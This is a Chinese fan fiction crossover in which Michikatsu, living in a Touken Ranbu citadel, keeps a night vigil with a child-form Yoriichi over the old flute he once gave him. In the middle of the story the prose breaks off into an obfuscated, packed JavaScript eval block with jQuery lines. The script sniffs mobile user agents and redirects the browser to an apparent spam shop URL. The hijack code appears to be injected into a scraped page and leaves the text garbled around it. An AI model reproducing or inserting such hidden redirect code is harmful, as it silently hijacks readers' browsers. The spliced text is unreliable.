严胜惊醒时，后背全是冷汗。
又是那个梦——缘一力竭倒下，身体在月光下碎裂成灰，最后只剩那支笛子掉在地上。他总在梦里弯腰去捡，可手指每次碰到笛子，笛子就变成血，黏稠滚烫地顺着指缝往下淌。
屋里漆黑一片。他习惯性地伸手往旁边探——空的。
心脏猛地一沉。
他翻身坐起，内番服的衣带松了半截也顾不上系，拉开障子门就往外走。他的房间位于部屋僻静的里侧，门外是一段短而封闭的檐廊，三面围合，仅朝向内庭，与其他刀剑的居所有一段距离和转角相隔。廊下夜风很凉，吹得他太阳穴突突地跳。然后缘一出现在了他视野里。
小孩儿——现在外形其实也不算太小了，约莫七八岁孩子的身形——就坐在廊沿边缘，脚悬在半空，背挺得笔直。月光把他侧脸的轮廓照得发白，手里攥着个深色的东西。
是那支笛子。
严胜的脚步滞在门槛里侧。他该说什么？“回去睡觉”？还是“夜里凉”？这些话说出来都像审神者准备的剧本台词，矫情得让他喉头发紧。
缘一先察觉了。他转过头，眼睛在黑暗里显得格外亮——不是灵视的光，就是普通的、孩子的眼睛。
“兄长。”缘一叫了一声，声音很轻。
严胜走过去，木屐踩在廊板上发出沉闷的响声。他在离缘一半米远的地方停下——这个距离最近成了某种安全线，再近就让他想起梦里那些碎掉的灰。
“不睡觉做什么。”他开口，语气比预想的生硬。
缘一低头注视手里的笛子，拇指慢慢摩挲笛身上一道陈旧的刻痕。严胜认得那道痕，是他小时候第一次削竹子，划上去的。当时他觉得笛子毁了。但缘一却依旧把它当宝贝一样。
现在看来，那道痕歪歪扭扭，蠢得可笑。
“睡不着。”缘一回答得很老实，“脑子里有颜色。”
灵视又失控了。严胜想起药研前几天说的话——“灵视本质是情绪感知，他现在的身体处理不了太多信息，就像小孩吃撑了会吐。”
“那就数羊。”严胜说完觉得自己像个傻子。数羊对灵视有屁用。
缘一摇摇头，然后把笛子举到嘴边。他的动作很笨拙，手指摆的位置都不对。深吸一口气——
“呜。”
一声极轻极短的吐气声，几乎不成音调，更像是竹管里漏出的一缕潮湿夜风。像暗处幼兽无意间泄露的抽噎。缘一停了，笛子搁在膝头，他低头与它对视。
在长久的静默里，等待一段永远不会自动降临的旋律。
严胜凝视那支笛子。四百年前他把它递出去的时候，心里想的是什么来着？
“我是继承人，你是需要保护的弱者。这支笛子给你——吹响它，我就来帮你。这是强者的余裕，是施舍。”
他记得缘一接过笛子时眼睛很亮，亮得让他觉得烦躁。那么开心干什么？不过是个破烂竹器。
而现在，这个孩童缘一拿着同样的破烂竹器，只会吹一个音，坐在深夜里等他发现。
“为什么不吹全？”严胜听见自己问。话音在夜风里散开，显得有点飘。
缘一转过脸，月光照着他脸上纯粹的困惑：“吹全？”
“曲子。”严胜喉咙发紧，“我教过你。”
虽然只教了一半。后来缘一自己看一遍就会了，他也就没再教下去。反正天才不需要人教。
缘一想了想，慢慢摇头：“不记得了。”停顿一下，又说，“而且……不用吹。”
“为什么。”
“因为兄长，”缘一说得理所当然，“一直在啊。”
严胜胸口猛地一抽，像被人用钝刀捅了一下。不疼，但闷得喘不上气。
一直在？
抛下缘一走了的是他，变成鬼挥刀要杀缘一的也是他。死后坠向地狱的途中，他脑子里最后闪过的念头是“终于结束了”。这叫一直在？
他伸手，手指在碰到笛子前停了一瞬。缘一松开手，笛子落进他掌心，带着孩童的体温。
竹子已经旧得发黑，刻痕边缘被摩得光滑。他当年送出去的时候，这笛子还是新的，带着青竹的涩味。
“如果……”严胜开口，声线干得像裂开的土，“如果你吹响了，我没来呢？”
问完他就后悔了。问一个孩子这种问题，蠢透了。
缘一眨了眨眼。月光下，睫毛的阴影在脸上颤动也清清楚楚。
“那就不吹。”缘一说得简单，“等兄长来。”
“等不到呢？”
“一直等。”
严胜握紧笛子，竹子的纹理硌得掌心生疼。他想说“别等”，想说“我根本不值得等”，想说“你该恨我”。可这些话堆在喉咙里，一个字都挤不出来。
廊下另一端传来轻微的、仿佛刻意放重的脚步声。鹤丸国永从拐角探出半个身子，白色内番服在夜里格外扎眼，手里居然还端着个茶杯。
“哟，逮到两只夜猫子？”鹤丸笑嘻嘻地靠过来，目光扫过笛子，又扫过严胜紧抿的唇，“我那边用土瓶煮了番茶，结果一个不留神煮过头了，出来散散水汽，就听见这边有动静——不是笛声，是人味。怎么，兄弟俩半夜赏月不带我？”
严胜没理他。鹤丸也不在意，蹲下来和缘一平视，压低了声音，带着点恶作剧似的分享秘密的语气：“小缘一，我跟你说，下次要是真想练笛子又怕吵到人，可以去后山温泉那边，回声好听，还不用担心把谁从梦里拽出来——当然啦，最好还是白天。” 他眨了眨眼，“不过一个音也挺好。听多了复杂的，反而觉得单调的最干净。”
“鹤丸。”严胜打断他。
“嗯？”
“茶凉了。”
鹤丸挑眉，看看严胜又看看缘一，最后耸耸肩站起来：“行吧行吧，老爷爷不打扰兄弟谈心。”他将茶杯随意地往廊柱边一搁，杯底与木头轻轻一碰，“我是真来散水汽的——顺便晾晾这杯煮过头了的苦水。”
白影晃悠悠消失在走廊转角，脚步声渐远。
严胜的视线垂落，沉入掌心那截旧竹。缘一仍在原处等待着，那双一眨不眨的眼，将他整个人钉在当下的寂静里，仿佛在等待一个永不会响起的音符。
“去睡。”严胜把笛子递回去。
缘一接过，握在手里，却没动。
严胜转身要走，衣角却被轻轻扯住了。他回头，缘一的手指攥着他内番服的一小片布料，力道很轻，一挣就能开。
“兄长，”缘一问，“笛子……是不是很重要？”
严胜喉咙里那块堵着的东西又往上涌。重要？一个破烂竹器，一个象征他愚蠢优越感的证物，一个被保存了一辈子最后断在他刀下的东西——重要？
“不重要。”他说。
缘一松开了手。
严胜继续往屋里走，拉开门时听见缘一在身后小声说：“可我觉得重要。”
他停在门槛里，没回头。
“因为，”缘一的嗓音在夜里细细的，“是兄长给的。”
严胜闭上眼，深吸一口气。夜风带着庭院里泥土和青草的味道，混着远处马厩传来的干草气息。他想起白天刷马时，那匹叫“花柑子”的马用鼻子蹭他手心，湿热的呼吸喷在皮肤上。
活着的东西。温暖的东西。
他曾经放弃的一切。
“缘一。”他开口，话音低得几乎听不见。
“在。”
“如果……”严胜顿了顿，“如果有一天，我又不在了呢？”
问出口的瞬间他就想掐死自己。你在干什么？威胁一个孩子？测试他对你的依赖？卑劣也得有个限度。
缘一沉默了很久。久到严胜以为他睡着了，久到严胜准备关门回去继续做那个该死的梦。
然后他听见缘一说：
“我会找到兄长。”
语气平静，像在说明天早饭吃什么。
严胜握紧门框，木头粗糙的纹理刺进掌心。他该说什么？骂他蠢？告诉他“找到我也没用了”？还是像审神者那样，温柔地说“你不会需要找我”？
最后他什么也没说，拉上门。
门合拢前，他见缘一还坐在廊下，握着笛子，背挺得笔直，像一尊小小的、固执的雕像。
严胜背靠着门板滑坐在地上。屋里没点灯，黑暗浓得像化不开的墨。他把脸埋进掌心，呼吸在指缝间颤抖。
我究竟是想保护“弟弟”，还是想保护“我是保护者”这个身份？
如果缘一不需要我保护——如果他从来就不需要——那我的价值在哪里？
四百年前他赠笛，是施舍。后来笛子又回到他手里，像个讽刺的笑话。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948458|192977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>他听见门外传来细微的响动——缘一躺下了，衣料摩擦廊板的声音。然后是那个单调的音：
“呜。”
停。
“呜。”
又停。
小孩儿在练习，用他唯一会的方式，吹那个破碎的音节。一声，一声，在深夜里固执地重复。
严胜抬起头，愣愣地望着门缝里透进来的那一线月光。月光很淡，勉强能照亮他摊开的掌心——空荡荡的，什么也握不住。
门外，笛声停了。取而代之的是均匀的呼吸声——缘一睡着了。
严胜慢慢站起身，拉开门。缘一蜷在廊下，笛子还握在手里，脸颊贴着冰冷的木板。月光照着他半边脸，睫毛在眼下投出一小片阴影。
严胜站了一会儿，然后弯腰把小孩儿抱起来。缘一动了一下，没醒，脑袋靠在他肩上，呼吸喷在他颈侧。
很轻。轻得像随时会消失。
他把缘一抱回隔壁房间，放在铺好的被褥上，扯过被子盖好。准备起身时，缘一忽然伸手，在半空中虚抓了一下。
“……兄长。”梦呓。
严胜僵在那里。缘一的手慢慢放下，重新睡沉了。
他退到门口，手搭在门框上。月光从庭院斜照进来，把缘一睡着的轮廓勾勒得清晰分明。
那个问题又冒出来，像根刺扎在喉咙里：
如果缘一不需要保护——
那你现在在干什么？
严胜拉上门，背靠在走廊墙壁上。夜很深，本丸安静得能听见远处池塘的蛙鸣，一声，一声，和刚才的笛声一样单调。
他从怀里摸出什么东西——不是笛子，是白天短刀们塞给他的折纸。一只歪歪扭扭的鹤，翅膀一边大一边小。
五虎退红着脸说：“严胜哥哥，这个……送给你。”
他当时接过来，说了句“谢谢”，语气大概很生硬，因为五虎退听完立刻缩到秋田身后去了。
现在他借着月光把纸鹤摊在手心。折痕很深，纸边都起毛了。拙劣的手工，和那支笛子一样，和那道刻痕一样。
都是不完美的东西。
都是……活着的痕迹。
严胜把纸鹤重新折好，放回怀里。转身回屋前，他最后瞥了一眼缘一的房门。
门缝里漆黑一片。
他忽然想起鹤丸刚才那句话。
“一个音也挺好。听多了复杂的，反而觉得单调的最干净。”
干净。
严胜扯了扯嘴角，笑容大概很难看。他这辈子和“干净”这个词从来就没沾过边。
躺回被褥里，他面对天花板。月光慢慢移动，从东墙爬到西墙。他听着隔壁均匀的呼吸声，听着夜风穿过庭院，听着自己的心跳在寂静里一下，一下，敲着某种他不敢承认的节奏。
梦里那个破碎的缘一没有再出现。
取而代之的，是孩童缘一坐在廊下吹笛子的画面。只有一个音，单调重复，在深夜里固执地响。
然后画面里的他走过去，接过笛子。
不是四百年前那个骄傲的继承人。
是现在这个——手上沾满血、心里塞满罪、连拥抱都不敢用力的、破碎的他。
他任由自己的手臂抬起，将笛子送至嘴边。
唇齿间流出的，仍是同一个干涩的音节。
“呜。”
干涩。短促。
和缘一一模一样。
严胜在梦里睁开眼——不是真的睁眼，是梦里的意识——两个自己隔着四百年的月光对望。
赠笛的那个他眼神倨傲。
接笛的这个他眼神空洞。
然后孩童缘一站在中间，看看左边，看看右边，最后说：
“都是兄长。”
严胜惊醒。
天还没亮，窗外还是深蓝色。他坐起来，喘着气，额头上全是汗。
静坐片刻，他起身拉开门，走到缘一房间门口。手搭在门框上，停顿，然后轻轻推开。
缘一还在睡，姿势都没变。笛子放在枕边，和他昨天塞给缘一的手帕叠在一起。
严胜站在门口看了很久。
然后他低声说，声音轻得连自己都听不清：
“为什么不吹？”
不是在问缘一。
是在问四百年前，那个把笛子递出去的自己。